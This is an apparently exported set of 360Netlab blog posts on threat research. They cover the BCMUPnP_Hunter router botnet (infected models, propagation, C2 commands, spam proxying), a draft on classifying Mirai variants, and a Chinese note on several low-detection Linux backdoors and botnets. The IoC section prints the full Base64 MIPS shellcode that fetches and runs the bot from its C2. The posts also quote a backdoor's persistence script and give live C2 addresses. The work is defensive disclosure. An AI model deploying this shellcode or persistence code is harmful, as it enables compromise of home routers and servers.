可见扫描不是持续的，而是每隔1-3天构成一个波次。单个波次中活跃的扫描IP在10万左右，我们正是基于这个数据度量该僵尸网络的规模；\n* 历史上累积看到的扫描源ip有337万。这个数量虽然巨大，但也许并不意味着已经有这么多设备已经被感染，而可能是同一被感染设备设备IP随时间变化导致。\n* 潜在易感染数量[超过42万](https://www.shodan.io/search?query=Server%3A%20Custom%2F1.0%20UPnP%2F1.0%20Proc%2FVer)，这个主要是根据扫描源ip返回banner中的web server:```Server: Custom/1.0 UPnP/1.0 Proc/Ver```从shodan的搜索结果估计的。\n* 最近7天扫描源IP地理位置分布\n<a href=\"__GHOST_URL__/content/images/2018/11/Snip20181102_10.png\" target=\"_blank\"><img src=\"__GHOST_URL__/content/images/2018/11/Snip20181102_9.png\" /></a>\n\n# 被感染设备信息\n通过对攻击源的探测，得到了116款被感染的设备信息，实际感染设备种类不限于此：\n\n```\nADB Broadband S.p.A,\tHomeStation ADSL Router\nADB Broadband,\tADB ADSL Router\nADBB,\tADB ADSL Router\nALSiTEC,\tBroadcom ADSL Router\nASB,\tADSL Router\nASB,\tChinaNet EPON Router\nASB,\tChinaTelecom E8C(EPON) Gateway\nActiontec,\tActiontec GT784WN\nActiontec,\tVerizon ADSL Router\nBEC Technologies Inc.,\tBroadcom ADSL Router\nBest IT World India Pvt. Ltd.,\t150M Wireless-N ADSL2+ Router\nBest IT World India Pvt. Ltd.,\tiB-WRA300N\nBillion Electric Co., Ltd.,\tADSL2+ Firewall Router\nBillion Electric Co., Ltd.,\tBiPAC 7800NXL\nBillion,\tBiPAC 7700N\nBillion,\tBiPAC 7700N R2\nBinatone Telecommunication,\tBroadcom LAN Router\nBroadcom,\tADSL Router\nBroadcom,\tADSL2+ 11n WiFi CPE\nBroadcom,\tBroadcom Router\nBroadcom,\tBroadcom ADSL Router\nBroadcom,\tD-Link DSL-2640B\nBroadcom,\tD-link ADSL Router\nBroadcom,\tDLink ADSL Router\nClearAccess,\tBroadcom ADSL Router\nComtrend,\tAR-5383n\nComtrend,\tBroadcom ADSL Router\nComtrend,\tComtrend single-chip ADSL router\nD-Link Corporation.,\tD-Link DSL-2640B\nD-Link Corporation.,\tD-Link DSL-2641B\nD-Link Corporation.,\tD-Link DSL-2740B\nD-Link Corporation.,\tD-Link DSL-2750B\nD-Link Corporation.,\tD-LinkDSL-2640B\nD-Link Corporation.,\tD-LinkDSL-2641B\nD-Link Corporation.,\tD-LinkDSL-2741B\nD-Link Corporation.,\tDSL-2640B\nD-Link,\tADSL 4*FE 11n Router\nD-Link,\tD-Link ADSL Router\nD-Link,\tD-Link DSL-2640U\nD-Link,\tD-Link DSL-2730B\nD-Link,\tD-Link DSL-2730U\nD-Link,\tD-Link DSL-2750B\nD-Link,\tD-Link DSL-2750U\nD-Link,\tD-Link DSL-6751\nD-Link,\tD-Link DSL2750U\nD-Link,\tD-Link Router\nD-Link,\tD-link ADSL Router\nD-Link,\tDVA-G3672B-LTT Networks ADSL Router\nDARE,\tDare router\nDLink,\tD-Link DSL-2730B\nDLink,\tD-Link VDSL Router\nDLink,\tDLink ADSL Router\nDQ Technology, Inc.,\tADSL2+ 11n WiFi CPE\nDQ Technology, Inc.,\tBroadcom ADSL Router\nDSL,\tADSL Router\nDareGlobal,\tD-Link ADSL Router\nDigicom S.p.A.,\tADSL Wireless Modem/Router\nDigicom S.p.A.,\tRAW300C-T03\nDlink,\tD-Link DSL-225\nEltex,\tBroadcom ADSL Router\nFiberHome,\tBroadcom ADSL Router\nGWD,\tChinaTelecom E8C(EPON) Gateway\nGenew,\tBroadcom ADSL Router\nINTEX,\tW150D\nINTEX,\tW300D\nINTEX,\tWireless N 150 ADSL2+ Modem Router\nINTEX,\tWireless N 300 ADSL2+ Modem Router\nITI Ltd.,\tITI Ltd.ADSL2Plus Modem/Router\nInteno,\tBroadcom ADSL Router\nIntercross,\tBroadcom ADSL Router\nIskraTEL,\tBroadcom ADSL Router\nKasda,\tBroadcom ADSL Router\nLink-One,\tModem Roteador Wireless N ADSL2+ 150 Mbps\nLinksys,\tCisco X1000\nLinksys,\tCisco X3500\nNB,\tDSL-2740B\nNetComm Wireless Limited,\tNetComm ADSL2+ Wireless Router\nNetComm,\tNetComm ADSL2+ Wireless Router\nNetComm,\tNetComm WiFi Data and VoIP Gateway\nOPTICOM,\tDSLink 279\nOpticom,\tDSLink 485\nOrcon,\tGenius\nQTECH,\tQTECH\nRaisecom,\tBroadcom ADSL Router\nRamptel,\t300Mbps ADSL Wireless-N Router\nRouter,\tADSL2+ Router\nSCTY,\tTYKH PON Router\nStar-Net,\tBroadcom ADSL Router\nStarbridge Networks,\tBroadcom ADSL Router\nTP-LINK Technologies Co., Ltd,\t300Mbps Wireless N ADSL2+ Modem Router\nTP-LINK Technologies Co., Ltd,\t300Mbps Wireless N USB ADSL2+ Modem Router\nTP-LINK,\tTP-LINK Wireless ADSL2+ Modem Router\nTP-LINK,\tTP-LINK Wireless ADSL2+ Router\nTechnicolor,\tCenturyLink TR-064 v4.0\nTenda,\tTenda ADSL2+ WIFI MODEM\nTenda,\tTenda ADSL2+ WIFI Router\nTenda,\tTenda Gateway\nTenda/Imex,\tADSL2+ WIFI-MODEM WITH 3G/4G USB PORT\nTenda/Imex,\tADSL2+ WIFI-MODEM WITH EVO SUPPORT\nUTStarcom Inc.,\tUTStarcom ADSL2+ Modem Router\nUTStarcom Inc.,\tUTStarcom ADSL2+ Modem/Wireless Router\nUniqueNet Solutions,\tWLAN N300 ADSL2+ Modem Router\nZTE,\tBroadcom ADSL Router\nZTE,\tONU Router\nZYXEL,\tZyXEL VDSL Router\nZhone,\tBroadcom ADSL Router\nZhone,\tZhone Wireless Gateway\nZoom,\tZoom Adsl Modem/Router\nZyXEL,\tCenturyLink UPnP v1.0\nZyXEL,\tP-660HN-51\nZyXEL,\tZyXEL xDSL Router\nhuaqin,\tHGU210 v3 Router\niBall Baton,\tiBall Baton 150M Wireless-N ADSL2+ Router\niiNet Limited,\tBudiiLite\niiNet,\tBoB2\niiNet,\tBoBLite\n```\n\n# 传播过程及捕获\n对于每一个随机生成的 目标IP，Bot端会先探测其`TCP 5431`端口的开放情况。如果开放，则通过潜在可感染url（访问 UDP-1900端口 得到这个url）进一步探测漏洞有效性。通过探测检查的IP会统一汇报到*Loader(`109.248.9.17:4369`)*，由`Loader`完成后续的漏洞利用和植入恶意样本的过程。\n\n攻击过程的简要时序图如下：\n<a href=\"__GHOST_URL__/content/images/2018/10/bcm_p.png\" target=\"_blank\"><img src=\"__GHOST_URL__/content/images/2018/10/bcm_p0.png\" /></a><center>图1：BCMUPnP_Hunter感染过程（点击图片放大）</center>\n\n除上述必要的交互外，漏洞利用本身也需要经过多个步骤的交互，才能成功。\n\n但是对于高交互蜜罐的开发人员来说，每一次交互都成了一次考验。只有正确回答每一次请求，才能成功诱骗投递者投递最终样本。为此我们修改了多种蜜罐，以便能够完整的模拟受感染设备，欺骗投递者，最终完成对该僵尸网络的分析。\n\n# 样本部分\n该僵尸网络的样本由两个部分组成，shellcode和bot主体，下面分别描述其功能。\n\n## shellcode\n\nshellcode主要功能，从c2(`109.248.9.17:8738`)下载主样本并执行。\n\n该`shellcode`全长432字节，工整规范，无法从常见搜索引擎中检索到。同时又完美的实现了以下几点，可见作者功力深厚，并非一般的脚本小子所为:\n\n* 基础能力方面：代码出现了多处网络、进程、文件等syscall调用；\n* 代码细节方面：利用 `syscall 0x40404`（替代 `syscall 0`）和多次取反操作，进而避免了坏字符(\\x00)；代码中栈变量也出现了不同程度的复用，以优化运行时的栈结构；\n* 代码逻辑方面：通过使用循环节，合理规避了多种失败调用的情况，保证了shellcode执行的有效性。\n\n其完整流程图如下，对shellcode感兴趣的读者可以自行阅读：\n\n<a href=\"__GHOST_URL__/content/images/2018/10/5431_mips_shellcode_color.png\" target=\"_blank\"><img src=\"__GHOST_URL__/content/images/2018/10/5431_mips_shellcode_color_min.png\" /></a><center>图2：Shellcode流程图（点击图片放大）</center>\n\n## 样本主体\n\n样本主体的功能包括 Broadcom UPnP 漏洞探测和代理访问网络功能，能够解析来自C2的4种指令码：\n\n```\n指令码 包长 功能\n0x00000000 0x18 首包，有服务伪装的效果，无实际意义\n0x01010101 0x4c 搜寻潜在感染目标任务\n0x02020202 0x08 当前任务清空\n0x03030303 0x108 访问代理网络任务\n```\n\n* `0x01010101` 为开启端口扫描任务的指令码，BOT端一旦扫描到潜在感染目标，便会将目标IP 封包后上报 *Loader*，随后*Loader*会完成后续感染流程。\n* `0x03030303` 为代理服务指令码，BOT端会访问指令中提供的地址，并将访问结果汇报给主控端。\n\n这些指令中，`0x03030303` 是可以产生实际经济利益的，攻击者可以利用这条指令构建代理网络，进而通过发送垃圾邮件、模拟点击等等活动牟利。其他的指令只能用于感染和扩张僵尸网络的规模，并不会产生实际的经济效益。\n\n\n# 代理网络和垃圾邮件\n\n为了厘清攻击者的攻击意图，我们通过一系列技术手段继续跟踪攻击者发出的 `0x03030303` 指令。\n\n在我们已经得到的指令中，BCMUPnP_Hunter被用于代理以下服务器的流量：\n\n```\n104.47.0.33:25\n104.47.12.33:25\n104.47.124.33:25\n104.47.14.33:25\n104.47.33.33:25\n104.47.48.33:25\n104.47.50.33:25\n106.10.248.84:25\n144.160.159.21:25\n188.125.73.87:25\n67.195.229.59:25\n74.6.137.63:25\n74.6.137.64:25\n98.137.159.28:25\n```\n\n我们的基础数据对这些服务器提供了更加详细的刻画：\n\n\n\n可以看出：\n\n * 这些服务器均属于知名邮件服务提供商，包括Outlook，Hotmail，Yahoo! Mail；\n * 几个月以来，这些服务器均提供且仅提供了TCP25的服务；\n * 在这个案例中，基本可以认为攻击者在滥用这些服务器的电子邮件服务；\n\n这让我们高度怀疑，攻击者正在利用BCMUPnP_Hunter建立的代理网络发送垃圾邮件。\n\n\n#联系我们\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者在微信公众号 **360Netlab** 上联系我们，或者向我们发送电子邮件 netlab[at]360.cn。\n\n为避免滥用，我们不会公布受害者 IP 列表。相关安全和执法机构，可以邮件联系netlab[at]360.cn获取被感染的IP地址列表。\n\n# 附录：关于 BroadCom UPnP 漏洞\n\nUPnP是Universal Plug and Play的缩写，即通用即插即用协议。该协议的目标是使家庭网络（数据共享、通信和娱乐）和公司网络中的各种设备能够相互无缝连接，并简化相关网络的实现[*[1]*](https://en.wikipedia.org/wiki/Universal_Plug_and_Play)。BroadCom UPnP是BroadCom公司针对UPnP协议的具体实现。由于BroadCom在业界处于供应链上游，所以该实现被各大路由器厂商采用，包括华硕，D-Link，Zyxel，US Robotics，T​​P-Link，Netgear等。\n\n2013年10月安全研究公司DefenseCode的安全研究人员发现了协议栈中的[*BroadCom UPnP 格式化字符串漏洞*](http://defensecode.com/whitepapers/From_Zero_To_ZeroDay_Network_Devices_Exploitation.txt)。考虑到该漏洞影响多家主流路由器厂商的产品，DefenseCode直到2017年才[*公开*](https://www.defensecode.com/public/DefenseCode_Broadcom_Security_Advisory.pdf)他们的发现。这次披露的代码是验证性质的，攻击者在已公开文档的基础上还须完成必要的漏洞分析和优化shellcode的过程后才能发挥实际的威力。本文涉及的*BCMUPnP_Hunter*就是如此。\n\n\n# IoC\nC2服务器\n```\n109.248.9.17 \"Bulgaria/BG\" \"AS58222 Solar Invest UK LTD\" #C2&&Loader\n```\nSample MD5\n```\n9036120904827550bf4436a919d3e503\n```\nShellcode(Base64 encode): \n```\nAtYgJSQCD6YBAQEMArUgJSQCD6YBAQEMJ6T/yq+k/+CvoP/kJ6X/4CgG//8kAg+rAQEBDCgE//8kAg+hAQEBDAO9uCUnvf/gJA///QHgICckD//9AeAoJygG//8kAhBXAQEBDK+i/9yPtv/cJA8TNwLWICUkD//9AeB4J6ev/+AkDyIip6//4iQPbfinr//kJA8JEaev/+avoP/or6D/7Cel/+AkD//vAeAwJyQCEEoBAQEMJA8vdKev/8okD21wp6//zCQPL3Snr//OJA9tcKev/9AkD2Zzp6//0qeg/9QnpP/KJA/+EgHgKCckAg/HAQEBDCgE//8npf/KJ6b/zygH//+u4P/wJAIPtQEBAQwkDy90p6//1CQPbXCnr//WJA9mc6ev/9inoP/aJ6T/yiQP/hIB4CgnJAIPqAEBAQyvov/cj7X/3CQPEzcC1iAlJ6X/4CQP/98B4DAnKAf//yQCEE8BAQEMr6L/3I+0/9wkDxM3BoD/ryQPEzcagP+gJA8TNwK1ICUnpf/gApQwJSQCD6QBAQEMFoL/piQPEzcSgv/qJA8TNzQP3q00D96t\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

151

post

2018-12-20T07:12:38.000Z

63873b9a8b1c1e0007f52f3b

fighting-mirai-in-an-automatic-manner

2018-12-24T03:48:15.000Z

public

draft

Fighting Mirai in an automatic manner

<!--kg-card-begin: markdown--><p>Although over 2 years have passed since the first time Mirai attracted lots of public attention for crippling some well-known sites such as Krebsonsecurity, OVH, and DYN, the infamous Linux DDoS botnet family still come to the media center very often in now days, which is for its new variants get discovered, or some zero-day exploits are found being used to deliver Mirai samples. Actually Mirai and its variants have always been very active in the past 2 years. Our honeypot data shows Mirai has held the top 1 position for a long time among our captured Linux malware families in terms of sample number and, furthermore, its sample number has always kept an increasing trend.</p> <p><img src="__GHOST_URL__/content/images/2018/12/hp.sample.capture.in.the.past.6.monthes_with.trend.png" alt="" loading="lazy"><br> Figure 1, Mirai sample captured by our honeypots</p> <p>The Mirai's nearly crazy variant prolieration could probably be explained by the facts that Mirai and some of its variants (e.g., MASUTA, OWARI, SORA, OMNI) sources were released. By equipping the freely available bot code with the same easy to get IoT exploits, a scipt kiddie can quickly create his own version Mirai IoT botnet. Of course they build that is not for fun, but for profit(stats to the Mirai launched attacks seen in the past 3 months). To better illustrate the current variant status, we have made a word cloud based on the branch names extracted from captured samples, where the larger a branch name is, the more samples it stands for.<br> <img src="__GHOST_URL__/content/images/2018/12/branch_word_cloud-1.png" alt="" loading="lazy"><br> Figure 2, Mirai branch jungle</p> <p>While building Mirai like botnets might be easy, the defence doesn't [seem that easy]. To break the game unbalance, we have spent a lot of time to improve our Mirai botnet detection and tracking. Now that work has been summarized and presented on 2 botnet related conferences held this year：<br> 1，&quot;Tracking Mirai Variants&quot;, VB2018 held in Montreal, Canada in October<br> 2, &quot;How many Mirai variants are there?&quot;, Botconf2018 held in Toulouse, France in December.</p> <p>Both talks are about Mirai variant classification. They are mainly to answer the following questions:<br> 1, What CNC information, or IoC, is included in the the newly captured samples?<br> 2, Does the new variant change in C&amp;C protocol (e.g., attack command code and attack options) ?<br> 3, How to check whether 2 variants derive from the same code base?<br> 4, How to extract the above information in a scalable manner so that we can quickly detect and track the newly emerging botnets by automatically analying dozens of new Mirai samples daily captured?</p> <p>After plenty of manual analysis, we found the above 3 questions can be well answered by analysing the following 3 kinds of Mirai data which we call Mirai genes:<br> <img src="__GHOST_URL__/content/images/2018/12/MiraiGenes.png" alt="" loading="lazy"></p> <h3 id="1configuration">1, configuration</h3> <p>We firstly noticed the configuration because the interested IoC information was stored there, which was observed in the first version, and is still adhered to by many current variants. Further analysis shows the changes among variants can be well reflected by their configurations and the encryption keys. That inspired us to design configuration based classification.</p> <h3 id="2supportedattackmethods">2, supported attack methods</h3> <p>On the other hand, we also study each variant's supported attack methods to better track and understand their commands, because Miraints usually vary in terms of method count, command code, and attack options.</p> <p><img src="__GHOST_URL__/content/images/2018/12/branch_word_cloud.png" alt="" loading="lazy"><br> <img src="__GHOST_URL__/content/images/2018/12/Clustering-Mirai-Samples-based-on-config-sizes-and-counts_extracted.png" alt="" loading="lazy"><br> <img src="__GHOST_URL__/content/images/2018/12/Clustering-Mirai-Samples-based-on-config-sizes-and-counts_2018_only.png" alt="" loading="lazy"><br> [since fighting botnet is always a kind of cat and mouse game, it's expected that there would be new variants emerging in the future. We will still keep a tight watch on that progress]</p> <!--kg-card-end: markdown-->

Although over 2 years have passed since the first time Mirai attracted lots of public attention for crippling some well-known sites such as Krebsonsecurity, OVH, and DYN, the infamous Linux DDoS botnet family still come to the media center very often in now days, which is for its new variants get discovered, or some zero-day exploits are found being used to deliver Mirai samples. Actually Mirai and its variants have always been very active in the past 2 years. Our honeypot data shows Mirai has held the top 1 position for a long time among our captured Linux malware families in terms of sample number and, furthermore, its sample number has always kept an increasing trend. Figure 1, Mirai sample captured by our honeypots The Mirai's nearly crazy variant prolieration could probably be explained by the facts that Mirai and some of its variants (e.g., MASUTA, OWARI, SORA, OMNI) sources were released. By equipping the freely available bot code with the same easy to get IoT exploits, a scipt kiddie can quickly create his own version Mirai IoT botnet. Of course they build that is not for fun, but for profit(stats to the Mirai launched attacks seen in the past 3 months). To better illustrate the current variant status, we have made a word cloud based on the branch names extracted from captured samples, where the larger a branch name is, the more samples it stands for. Figure 2, Mirai branch jungle While building Mirai like botnets might be easy, the defence doesn't [seem that easy]. To break the game unbalance, we have spent a lot of time to improve our Mirai botnet detection and tracking. Now that work has been summarized and presented on 2 botnet related conferences held this year： 1，"Tracking Mirai Variants", VB2018 held in Montreal, Canada in October 2, "How many Mirai variants are there?", Botconf2018 held in Toulouse, France in December. Both talks are about Mirai variant classification. They are mainly to answer the following questions: 1, What CNC information, or IoC, is included in the the newly captured samples? 2, Does the new variant change in C&C protocol (e.g., attack command code and attack options) ? 3, How to check whether 2 variants derive from the same code base? 4, How to extract the above information in a scalable manner so that we can quickly detect and track the newly emerging botnets by automatically analying dozens of new Mirai samples daily captured? After plenty of manual analysis, we found the above 3 questions can be well answered by analysing the following 3 kinds of Mirai data which we call Mirai genes: 1, configuration We firstly noticed the configuration because the interested IoC information was stored there, which was observed in the first version, and is still adhered to by many current variants. Further analysis shows the changes among variants can be well reflected by their configurations and the encryption keys. That inspired us to design configuration based classification. 2, supported attack methods On the other hand, we also study each variant's supported attack methods to better track and understand their commands, because Miraints usually vary in terms of method count, command code, and attack options. [since fighting botnet is always a kind of cat and mouse game, it's expected that there would be new variants emerging in the future. We will still keep a tight watch on that progress]

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"Although over 2 years have passed since the first time Mirai attracted lots of public attention for crippling some well-known sites such as Krebsonsecurity, OVH, and DYN, the infamous Linux DDoS botnet family still come to the media center very often in now days, which is for its new variants get discovered, or some zero-day exploits are found being used to deliver Mirai samples. Actually Mirai and its variants have always been very active in the past 2 years. Our honeypot data shows Mirai has held the top 1 position for a long time among our captured Linux malware families in terms of sample number and, furthermore, its sample number has always kept an increasing trend.\n\n\nFigure 1, Mirai sample captured by our honeypots\n\nThe Mirai's nearly crazy variant prolieration could probably be explained by the facts that Mirai and some of its variants (e.g., MASUTA, OWARI, SORA, OMNI) sources were released. By equipping the freely available bot code with the same easy to get IoT exploits, a scipt kiddie can quickly create his own version Mirai IoT botnet. Of course they build that is not for fun, but for profit(stats to the Mirai launched attacks seen in the past 3 months). To better illustrate the current variant status, we have made a word cloud based on the branch names extracted from captured samples, where the larger a branch name is, the more samples it stands for.\n\nFigure 2, Mirai branch jungle\n\nWhile building Mirai like botnets might be easy, the defence doesn't [seem that easy]. To break the game unbalance, we have spent a lot of time to improve our Mirai botnet detection and tracking. Now that work has been summarized and presented on 2 botnet related conferences held this year：\n1，\"Tracking Mirai Variants\", VB2018 held in Montreal, Canada in October\n2, \"How many Mirai variants are there?\", Botconf2018 held in Toulouse, France in December.\n\nBoth talks are about Mirai variant classification. They are mainly to answer the following questions:\n1, What CNC information, or IoC, is included in the the newly captured samples?\n2, Does the new variant change in C&C protocol (e.g., attack command code and attack options) ?\n3, How to check whether 2 variants derive from the same code base? \n4, How to extract the above information in a scalable manner so that we can quickly detect and track the newly emerging botnets by automatically analying dozens of new Mirai samples daily captured?\n\nAfter plenty of manual analysis, we found the above 3 questions can be well answered by analysing the following 3 kinds of Mirai data which we call Mirai genes:\n\n\n###1, configuration\nWe firstly noticed the configuration because the interested IoC information was stored there, which was observed in the first version, and is still adhered to by many current variants. Further analysis shows the changes among variants can be well reflected by their configurations and the encryption keys. That inspired us to design configuration based classification. \n\n###2, supported attack methods\nOn the other hand, we also study each variant's supported attack methods to better track and understand their commands, because Miraints usually vary in terms of method count, command code, and attack options.\n\n\n\n\n[since fighting botnet is always a kind of cat and mouse game, it's expected that there would be new variants emerging in the future. We will still keep a tight watch on that progress]"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

158

post

2018-12-20T07:34:40.000Z

63873b9a8b1c1e0007f52f3c

untitled-7

2018-12-20T07:34:40.000Z

public

draft

(Untitled)

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159

post

2019-01-11T02:37:19.000Z

63873b9a8b1c1e0007f52f3d

untitled-8

2019-01-11T02:37:19.000Z

public

draft

(Untitled)

{"version":"0.3.1","markups":[],"atoms":[],"cards":[],"sections":[[1,"p",[[0,[],0,""]]]],"ghostVersion":"3.0"}

162

post

2019-01-11T05:31:18.000Z

63873b9a8b1c1e0007f52f3e

untitled-9

2019-01-16T07:46:03.000Z

public

draft

简讯:几款可能需要持续关注的工具

<!--kg-card-begin: markdown--><p>作者：yegenshen， Rootkiter</p> <h1 id="">引</h1> <p>近日 360Netlab 对大量已公开的 Linux 类样本进行了集中的梳理，从中发现了一批可疑样本，它们在VT上的检出率均很低甚至未检出。</p> <p>分析后，我们推测：作者在相关开发过程中动了一些心思，并针对性的做了一些工作，虽然其中的一部分还未挖掘到更多的威胁证据，但这些心思或工作却值得警惕，选择在这里集中披露，是希望各安全从业者能够补充更多的数据拼图，或在后续的工作中能够识别出相似的威胁。</p> <h1 id="">恶意工具</h1> <h2 id="1reverseshell">样本1 -- ReverseShell后门</h2> <p>样本（daca1d5e464d3320f90b773c1e355211）是个工具类后门，主要功能是：在受害机器上，提供一个系统命令的执行环境。</p> <p>它通过<code>I/O重定向</code>的方式来提供执行环境，相关代码片段如下：</p> <p><img src="__GHOST_URL__/content/images/2019/01/image003.png" alt="" loading="lazy"></p> <p>这个执行环境会通过反弹连接的形式交接给C2服务器（seo.spider-sina.com/47.90.82.16），相关代码如下所示：</p> <p><img src="__GHOST_URL__/content/images/2019/01/image001-2.png" alt="" loading="lazy"></p> <p>这种反弹shell类后门，一般应用在渗透攻击的初期，在这个阶段的攻击者，要想执行一条系统命令，可能会有很多前置准备工作要做，而这种后门就是一个获得相对稳定的主机控制权的工具。这类工具的成功运行一般也标志着攻击者获得了该机器的暂时控制权。</p> <p>其次，spider-sina.com 这个域名具有一定的迷惑性，不警惕的话，很可能会将其归为合理的sina流量。</p> <h2 id="2">样本2 -- 网络连通测试工具</h2> <p>样本（39e4adea8c9c4e929892a5e7e453c105）是个测试网络连通性的工具。</p> <p>核心功能：能够访问 46.243.189.102 就返回1，否则返回0。</p> <p>相关代码截图如下：</p> <p><img src="__GHOST_URL__/content/images/2019/01/image004.png" alt="" loading="lazy"></p> <p>这种工具，可能有两种用途：</p> <pre><code> 在渗透测试中，可用于判定目标机器是否具有访问外网地址的能力。以便在目标网络中筛选出最合适的跳板机，为后续跨网段的渗透攻击做铺垫。 另一种是用于沙盒探测，当样本在沙盒内自动运行后，沙盒的IP地址就暴露了。 </code></pre> <p>单从样本角度来看，样本中出现的IP地址并不能表明一定属于原作者，只能说有极大的概率属于原作者。</p> <h2 id="3">样本3 -- 开代理工具</h2> <p>样本（0329c69d07f674267740f4bef8914342）是个开代理的工具，工作在MIPS架构的CPU下。</p> <p>工具运行后，会在本地 6129 端口绑定一个socks代理服务。并将状态汇报至 185.244.25.254:6129 。</p> <p>下图是处理 socks 代理请求的相关代码，供读者参考：</p> <p><img src="__GHOST_URL__/content/images/2019/01/image003-1.png" alt="" loading="lazy"></p> <p>该类工具，可能有两种用途：<br> 如用于建立代理网络，那么后续这个代理网络将可能被用于，攻击源隐藏，绕过防爬虫策略，刷票，薅羊毛等。<br> 在后渗透测试中，可用于将目标机器转化为攻击跳板，向更深的网络发起渗透攻击。</p> <h2 id="4anacroni">样本4 -- anacroni后门</h2> <p>样本（bcc79f90cf253c6fa6be10dcaec0f4ec）是一个提供系统命令执行环境的后门，构造较为复杂，从中我们还看到了 Dofloo 家族的影子，比如具有代表性的函数名：ServerConnectCli。</p> <p><img src="__GHOST_URL__/content/images/2019/01/image001-1.png" alt="" loading="lazy"></p> <p>其C2地址(43.251.17.126:1882)是经过简单异或计算后得到的，相关代码截图如下：<br> <img src="__GHOST_URL__/content/images/2019/01/image004-1.png" alt="" loading="lazy"></p> <p>相比以 DDOS 为主业的 Dofloo 家族，anacroni 只有执行系统命令的能力。也就是说它只是一个后门工具。样本对私有协议的处理如下图所示：</p> <p><img src="__GHOST_URL__/content/images/2019/01/image002.png" alt="" loading="lazy"></p> <p>从上图的代码可以看出，通讯协议比较简单，只包含<code>指令码</code>和<code>指令参数</code>两部分。其中当指令码为 0x99 或 0x99988 时均为执行系统命令，而命令的具体内容则是从第4字节偏移处开始的数据。</p> <p>另外，样本还会释放 &quot;/etc/init.d/anacroni&quot; 文件作为启动文件，内容如下：</p> <pre><code>#!/bin/bash #chkconfig: 2345 81 96 #description: Starttomcat start() { chmod 777 /bin/anacroni /bin/anacroni } stop() { echo &quot;exit.....&quot; } case &quot;$1&quot; in start) start ;; stop) stop ;; *) esac exit 0 </code></pre> <p>如此，anacroni 后门服务的形式留存宿主机了。</p> <h1 id="">恶意软件</h1> <h2 id="5santanlinux">样本5 -- Santan Linux</h2> <p><strong>（这一节，比绿盟的报告分析的版本老，所以看看是不是要删掉）</strong></p> <p><a href="http://blog.nsfocus.net/handbook-disposal-satan-viruses/">http://blog.nsfocus.net/handbook-disposal-satan-viruses/</a></p> <p>这个家族其实绿盟在头几个月已经分析过，这里就不再细说。从版本上看，绿盟分析的是1.10版本，而我们看到的是1.05版本（5a5676827c8c818d6d201e903109ec1e），相比1.10版，样本缺少了cry 和 mn 模块，这表明该样本仅保有扩散传播的能力。样本中内置了3个IP地址（111.90.158.225/107.179.65.195/ 23.247.83.135）当发展到 1.10 版本时， 111.90.158.225 这个地址就被保留了。</p> <p>在分析中，我们还看到了所谓的conn模块（1e22346711916fb0b02964bb4a3d3a1a），绿盟当时的文中只提到有 230 个扫描目标端口，而没给具体的端口列表，这里一并贴上来，作为补充。方便各安全工作者根据自身需求优化捕获或防御策略。</p> <p><img src="__GHOST_URL__/content/images/2019/01/image005.png" alt="" loading="lazy"></p> <h2 id="6watzullenwedrinken">样本6 -- Wat zullen we drinken</h2> <p>样本（204b4cc2a99ba16b0651a627f3d47764）是一个工作在ARM平台下的僵尸网络，具有ddos功能。</p> <p>可发起tcp,std,udp,http四种类型的ddos攻击，相关功能函数列表，如下所示:</p> <p><img src="__GHOST_URL__/content/images/2019/01/image001-3.png" alt="" loading="lazy"></p> <p>样本中存在一个数据解密算法，是一个字符替换方式的解密算法，被用于指令数据，和静态字符串的解密。整理后的解码表（ASCII 码对照表）如下：</p> <pre><code>{ 33: 86, 36: 108, 37: 66, 38: 80, 41: 117, 42: 97, 43: 88, 44: 54, 45: 56, 46: 122, 49: 106, 50: 84, 51: 109, 52: 69, 53: 81, 54: 75, 55: 111, 56: 87, 57: 89, 58: 32, 59: 52, 60: 115, 61: 67, 62: 68, 63: 99, 64: 50, 65: 120, 66: 55, 67: 114, 68: 82, 69: 102, 70: 116, 75: 113, 84: 110, 85: 95, 90: 57, 95: 51, 97: 78, 98: 77, 99: 76, 100: 85, 101: 74, 102: 73, 103: 72, 104: 71, 105: 70, 106: 98, 107: 83, 109: 49, 110: 100, 111: 107, 112: 65, 113: 105, 114: 121, 115: 104, 116: 119, 117: 118, 118: 101, 119: 53, 120: 48, 121: 46, 122: 112, 124: 103, 126: 79 } </code></pre> <p>将样本中的加密字串解密后，明文内容如下：</p> <pre><code>register remove std udp httptcp no name 185.244.25.177 Wat zullen we drinken GET HTTP 1.1 Host Connection close </code></pre> <p>其中 185.244.25.177 就是该样本的C2地址，端口地址为 40721，相关连接段代码如下图所示：</p> <p><img src="__GHOST_URL__/content/images/2019/01/image002-1.png" alt="" loading="lazy"></p> <p>从我们的监控数据来看，目前这个C2地址已经很久没有活跃了，目前这个地址开了一个22端口的SSH服务。</p> <p>在解密后的密文中有个内容为 “Wat zullen we drinken” 的字符串，运行成功后这个字串会被输出到控制台。搜索后找到一首歌曲，感兴趣的可以找来听听。</p> <h1 id="ioc">IOC</h1> <p><strong>MD5:</strong></p> <pre><code>daca1d5e464d3320f90b773c1e355211 39e4adea8c9c4e929892a5e7e453c105 0329c69d07f674267740f4bef8914342 bcc79f90cf253c6fa6be10dcaec0f4ec 5a5676827c8c818d6d201e903109ec1e Santan Linux 1e22346711916fb0b02964bb4a3d3a1a Santan Linux conn 204b4cc2a99ba16b0651a627f3d47764 </code></pre> <p><strong>C2:</strong></p> <pre><code>seo.spider-sina.com 47.90.82.16 46.243.189.102 185.244.25.254 43.251.17.126 111.90.158.225 // Santan Linux 107.179.65.195 // Santan Linux 23.247.83.135 // Santan Linux 185.244.25.177 </code></pre> <!--kg-card-end: markdown-->

